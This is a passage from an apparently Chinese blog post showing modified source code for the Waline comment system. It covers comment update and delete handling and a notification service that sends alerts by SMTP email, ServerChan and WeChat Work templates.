function_">isEmpty</span>(userInfo) || userInfo.<span class="property">type</span> !== <span class="string">&#x27;administrator&#x27;</span>) &#123;</span><br><span class="line">      <span class="keyword">if</span> (!think.<span class="title function_">isBoolean</span>(data.<span class="property">like</span>)) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">success</span>();</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">const</span> likeIncMax = <span class="variable language_">this</span>.<span class="title function_">config</span>(<span class="string">&#x27;LIKE_INC_MAX&#x27;</span>) || <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">      data = &#123;</span><br><span class="line">        <span class="attr">like</span>:</span><br><span class="line">          (<span class="title class_">Number</span>(oldData.<span class="property">like</span>) || <span class="number">0</span>) +</span><br><span class="line">          (data.<span class="property">like</span> ? <span class="title class_">Math</span>.<span class="title function_">ceil</span>(<span class="title class_">Math</span>.<span class="title function_">random</span>() * likeIncMax) : -<span class="number">1</span>),</span><br><span class="line">      &#125;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> preUpdateResp = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="title function_">hook</span>(<span class="string">&#x27;preUpdate&#x27;</span>, &#123;</span><br><span class="line">      ...data,</span><br><span class="line">      <span class="attr">objectId</span>: <span class="variable language_">this</span>.<span class="property">id</span>,</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (preUpdateResp) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">fail</span>(preUpdateResp);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> newData = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">update</span>(data, &#123;</span><br><span class="line">      <span class="attr">objectId</span>: <span class="variable language_">this</span>.<span class="property">id</span>,</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (</span><br><span class="line">      oldData.<span class="property">status</span> === <span class="string">&#x27;waiting&#x27;</span> &amp;&amp;</span><br><span class="line">      data.<span class="property">status</span> === <span class="string">&#x27;approved&#x27;</span> &amp;&amp;</span><br><span class="line">      oldData.<span class="property">pid</span></span><br><span class="line">    ) &#123;</span><br><span class="line">      <span class="keyword">let</span> cmtUser;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (newData.<span class="property">user_id</span>) &#123;</span><br><span class="line">        cmtUser = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="title function_">model</span>(<span class="string">&#x27;User&#x27;</span>).<span class="title function_">select</span>(&#123;</span><br><span class="line">          <span class="attr">objectId</span>: newData.<span class="property">user_id</span>,</span><br><span class="line">        &#125;);</span><br><span class="line">        cmtUser = cmtUser[<span class="number">0</span>];</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">let</span> pComment = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">select</span>(&#123;</span><br><span class="line">        <span class="attr">objectId</span>: oldData.<span class="property">pid</span>,</span><br><span class="line">      &#125;);</span><br><span class="line"></span><br><span class="line">      pComment = pComment[<span class="number">0</span>];</span><br><span class="line"></span><br><span class="line">      <span class="keyword">let</span> pUser;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (pComment.<span class="property">user_id</span>) &#123;</span><br><span class="line">        pUser = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="title function_">model</span>(<span class="string">&#x27;User&#x27;</span>).<span class="title function_">select</span>(&#123;</span><br><span class="line">          <span class="attr">objectId</span>: pComment.<span class="property">user_id</span>,</span><br><span class="line">        &#125;);</span><br><span class="line">        pUser = pUser[<span class="number">0</span>];</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">const</span> notify = <span class="variable language_">this</span>.<span class="title function_">service</span>(<span class="string">&#x27;notify&#x27;</span>);</span><br><span class="line">      <span class="keyword">const</span> cmtReturn = <span class="keyword">await</span> <span class="title function_">formatCmt</span>(</span><br><span class="line">        newData,</span><br><span class="line">        cmtUser ? [cmtUser] : [],</span><br><span class="line">        <span class="variable language_">this</span>.<span class="title function_">config</span>(),</span><br><span class="line">        userInfo</span><br><span class="line">      );</span><br><span class="line">      <span class="keyword">const</span> pcmtReturn = <span class="keyword">await</span> <span class="title function_">formatCmt</span>(</span><br><span class="line">        pComment,</span><br><span class="line">        pUser ? [pUser] : [],</span><br><span class="line">        <span class="variable language_">this</span>.<span class="title function_">config</span>(),</span><br><span class="line">        userInfo</span><br><span class="line">      );</span><br><span class="line"></span><br><span class="line">      <span class="keyword">await</span> notify.<span class="title function_">run</span>(</span><br><span class="line">        &#123; ...cmtReturn, <span class="attr">mail</span>: newData.<span class="property">mail</span>, <span class="attr">ip</span>: data.<span class="property">ip</span>, <span class="attr">equip</span>: data.<span class="property">ua</span> &#125;,</span><br><span class="line">        &#123; ...pcmtReturn, <span class="attr">mail</span>: pComment.<span class="property">mail</span> &#125;,</span><br><span class="line">        <span class="literal">true</span></span><br><span class="line">      );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="title function_">hook</span>(<span class="string">&#x27;postUpdate&#x27;</span>, data);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">success</span>();</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">async</span> <span class="title function_">deleteAction</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> preDeleteResp = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="title function_">hook</span>(<span class="string">&#x27;preDelete&#x27;</span>, <span class="variable language_">this</span>.<span class="property">id</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (preDeleteResp) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">fail</span>(preDeleteResp);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">delete</span>(&#123;</span><br><span class="line">      <span class="attr">_complex</span>: &#123;</span><br><span class="line">        <span class="attr">_logic</span>: <span class="string">&#x27;or&#x27;</span>,</span><br><span class="line">        <span class="attr">objectId</span>: <span class="variable language_">this</span>.<span class="property">id</span>,</span><br><span class="line">        <span class="attr">pid</span>: <span class="variable language_">this</span>.<span class="property">id</span>,</span><br><span class="line">        <span class="attr">rid</span>: <span class="variable language_">this</span>.<span class="property">id</span>,</span><br><span class="line">      &#125;,</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="title function_">hook</span>(<span class="string">&#x27;postDelete&#x27;</span>, <span class="variable language_">this</span>.<span class="property">id</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">success</span>();</span><br><span class="line">  &#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="修改文件notify-js（路径node-modules-waline-vercel-src-service-notify-js）">修改文件notify.js（路径node_modules/@waline/vercel/src/service/notify.js）</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="title class_">FormData</span> = <span class="built_in">require</span>(<span class="string">&#x27;form-data&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> nodemailer = <span class="built_in">require</span>(<span class="string">&#x27;nodemailer&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> fetch = <span class="built_in">require</span>(<span class="string">&#x27;node-fetch&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> nunjucks = <span class="built_in">require</span>(<span class="string">&#x27;nunjucks&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable language_">module</span>.<span class="property">exports</span> = <span class="keyword">class</span> <span class="title class_">extends</span> think.<span class="property">Service</span> &#123;</span><br><span class="line">  <span class="title function_">constructor</span>(<span class="params">...args</span>) &#123;</span><br><span class="line">    <span class="variable language_">super</span>(...args);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> &#123;</span><br><span class="line">      <span class="variable constant_">SMTP_USER</span>,</span><br><span class="line">      <span class="variable constant_">SMTP_PASS</span>,</span><br><span class="line">      <span class="variable constant_">SMTP_HOST</span>,</span><br><span class="line">      <span class="variable constant_">SMTP_PORT</span>,</span><br><span class="line">      <span class="variable constant_">SMTP_SECURE</span>,</span><br><span class="line">      <span class="variable constant_">SMTP_SERVICE</span>,</span><br><span class="line">    &#125; = process.<span class="property">env</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable constant_">SMTP_HOST</span> || <span class="variable constant_">SMTP_SERVICE</span>) &#123;</span><br><span class="line">      <span class="keyword">const</span> config = &#123;</span><br><span class="line">        <span class="attr">auth</span>: &#123; <span class="attr">user</span>: <span class="variable constant_">SMTP_USER</span>, <span class="attr">pass</span>: <span class="variable constant_">SMTP_PASS</span> &#125;,</span><br><span class="line">      &#125;;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (<span class="variable constant_">SMTP_SERVICE</span>) &#123;</span><br><span class="line">        config.<span class="property">service</span> = <span class="variable constant_">SMTP_SERVICE</span>;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        config.<span class="property">host</span> = <span class="variable constant_">SMTP_HOST</span>;</span><br><span class="line">        config.<span class="property">port</span> = <span class="built_in">parseInt</span>(<span class="variable constant_">SMTP_PORT</span>);</span><br><span class="line">        config.<span class="property">secure</span> = <span class="variable constant_">SMTP_SECURE</span> !== <span class="string">&#x27;false&#x27;</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="variable language_">this</span>.<span class="property">transporter</span> = nodemailer.<span class="title function_">createTransport</span>(config);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">async</span> <span class="title function_">sleep</span>(<span class="params">second</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve</span>) =&gt;</span> <span class="built_in">setTimeout</span>(resolve, second * <span class="number">1000</span>));</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">async</span> <span class="title function_">mail</span>(<span class="params">&#123; to, title, content &#125;, self, parent</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="property">transporter</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">      <span class="keyword">const</span> success = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">transporter</span>.<span class="title function_">verify</span>();</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (success) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;SMTP 邮箱配置正常&#x27;</span>);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (error) &#123;</span><br><span class="line">      <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Error</span>(<span class="string">&#x27;SMTP 邮箱配置异常：&#x27;</span>, error);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> &#123; <span class="variable constant_">SITE_NAME</span>, <span class="variable constant_">SITE_URL</span>, <span class="variable constant_">SMTP_USER</span>, <span class="variable constant_">SENDER_EMAIL</span>, <span class="variable constant_">SENDER_NAME</span> &#125; =</span><br><span class="line">      process.<span class="property">env</span>;</span><br><span class="line">    <span class="keyword">const</span> data = &#123;</span><br><span class="line">      self,</span><br><span class="line">      parent,</span><br><span class="line">      <span class="attr">site</span>: &#123;</span><br><span class="line">        <span class="attr">name</span>: <span class="variable constant_">SITE_NAME</span>,</span><br><span class="line">        <span class="attr">url</span>: <span class="variable constant_">SITE_URL</span>,</span><br><span class="line">        <span class="attr">postUrl</span>: <span class="variable constant_">SITE_URL</span> + self.<span class="property">url</span> + <span class="string">&#x27;#&#x27;</span> + self.<span class="property">objectId</span>,</span><br><span class="line">      &#125;,</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    title = nunjucks.<span class="title function_">renderString</span>(title, data);</span><br><span class="line">    content = nunjucks.<span class="title function_">renderString</span>(content, data);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">let</span> sendResult;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// eslint-disable-next-line no-empty</span></span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">      sendResult = <span class="variable language_">this</span>.<span class="property">transporter</span>.<span class="title function_">sendMail</span>(&#123;</span><br><span class="line">        <span class="attr">from</span>:</span><br><span class="line">          <span class="variable constant_">SENDER_EMAIL</span> &amp;&amp; <span class="variable constant_">SENDER_NAME</span></span><br><span class="line">            ? <span class="string">`&quot;<span class="subst">$&#123;SENDER_NAME&#125;</span>&quot; &lt;<span class="subst">$&#123;SENDER_EMAIL&#125;</span>&gt;`</span></span><br><span class="line">            : <span class="variable constant_">SMTP_USER</span>,</span><br><span class="line">        to,</span><br><span class="line">        <span class="attr">subject</span>: title,</span><br><span class="line">        <span class="attr">html</span>: content,</span><br><span class="line">      &#125;);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (e) &#123;</span><br><span class="line">      sendResult = e;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;邮件通知结果：&#x27;</span>, sendResult);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> sendResult;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">async</span> <span class="title function_">wechat</span>(<span class="params">&#123; title, content &#125;, self, parent</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> &#123; <span class="variable constant_">SC_KEY</span>, <span class="variable constant_">SITE_NAME</span>, <span class="variable constant_">SITE_URL</span> &#125; = process.<span class="property">env</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!<span class="variable constant_">SC_KEY</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> data = &#123;</span><br><span class="line">      self,</span><br><span class="line">      parent,</span><br><span class="line">      <span class="attr">site</span>: &#123;</span><br><span class="line">        <span class="attr">name</span>: <span class="variable constant_">SITE_NAME</span>,</span><br><span class="line">        <span class="attr">url</span>: <span class="variable constant_">SITE_URL</span>,</span><br><span class="line">        <span class="attr">postUrl</span>: <span class="variable constant_">SITE_URL</span> + self.<span class="property">url</span> + <span class="string">&#x27;#&#x27;</span> + self.<span class="property">objectId</span>,</span><br><span class="line">      &#125;,</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    title = nunjucks.<span class="title function_">renderString</span>(title, data);</span><br><span class="line">    content = nunjucks.<span class="title function_">renderString</span>(content, data);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> form = <span class="keyword">new</span> <span class="title class_">FormData</span>();</span><br><span class="line"></span><br><span class="line">    form.<span class="title function_">append</span>(<span class="string">&#x27;text&#x27;</span>, title);</span><br><span class="line">    form.<span class="title function_">append</span>(<span class="string">&#x27;desp&#x27;</span>, content);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">fetch</span>(<span class="string">`https://sctapi.ftqq.com/<span class="subst">$&#123;SC_KEY&#125;</span>.send`</span>, &#123;</span><br><span class="line">      <span class="attr">method</span>: <span class="string">&#x27;POST&#x27;</span>,</span><br><span class="line">      <span class="attr">headers</span>: form.<span class="title function_">getHeaders</span>(),</span><br><span class="line">      <span class="attr">body</span>: form,</span><br><span class="line">    &#125;).<span class="title function_">then</span>(<span class="function">(<span class="params">resp</span>) =&gt;</span> resp.<span class="title function_">json</span>());</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">async</span> <span class="title function_">qywxAmWechat</span>(<span class="params">&#123; title, content &#125;, self, parent</span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> &#123; <span class="variable constant_">QYWX_AM</span>, <span class="variable constant_">SITE_NAME</span>, <span class="variable constant_">SITE_URL</span> &#125; = process.<span class="property">env</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!<span class="variable constant_">QYWX_AM</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> <span class="variable constant_">QYWX_AM_AY</span> = <span class="variable constant_">QYWX_AM</span>.<span class="title function_">split</span>(<span class="string">&#x27;,&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> comment = self.<span class="property">comment</span></span><br><span class="line">      .<span class="title function_">replace</span>(<span class="regexp">/&lt;a href=&quot;(.*?)&quot;&gt;(.*?)&lt;\/a&gt;/g</span>, <span class="string">&#x27;\n[$2] $1\n&#x27;</span>)</span><br><span class="line">      .<span class="title function_">replace</span>(<span class="regexp">/&lt;[^&gt;]+&gt;/g</span>, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line">    <span class="keyword">const</span> postName = self.<span class="property">url</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">const</span> data = &#123;</span><br><span class="line">      <span class="attr">self</span>: &#123;</span><br><span class="line">        ...self,</span><br><span class="line">        comment,</span><br><span class="line">      &#125;,</span><br><span class="line">      postName,</span><br><span class="line">      parent,</span><br><span class="line">      <span class="attr">site</span>: &#123;</span><br><span class="line">        <span class="attr">name</span>: <span class="variable constant_">SITE_NAME</span>,</span><br><span class="line">        <span class="attr">url</span>: <span class="variable constant_">SITE_URL</span>,</span><br><span class="line">        <span class="attr">postUrl</span>: <span class="variable constant_">SITE_URL</span> + self.<span class="property">url</span> + <span class="string">&#x27;#&#x27;</span> + self.<span class="property">objectId</span>,</span><br><span class="line">      &#125;,</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="keyword">const</span> contentWechat =</span><br><span class="line">      think.<span class="title function_">config</span>(<span class="string">&#x27;WXTemplate&#x27;</span>) ||</span><br><span class="line">      <span class="string">`💬 网站&#123;&#123;site.name|safe&#125;&#125;中文章《&#123;&#123;postName&#125;&#125;》有新的评论 </span></span><br><span class="line"><span class="string">【评论者昵称】：&#123;&#123;self.nick&#125;&#125;</span></span><br><span class="line"><span 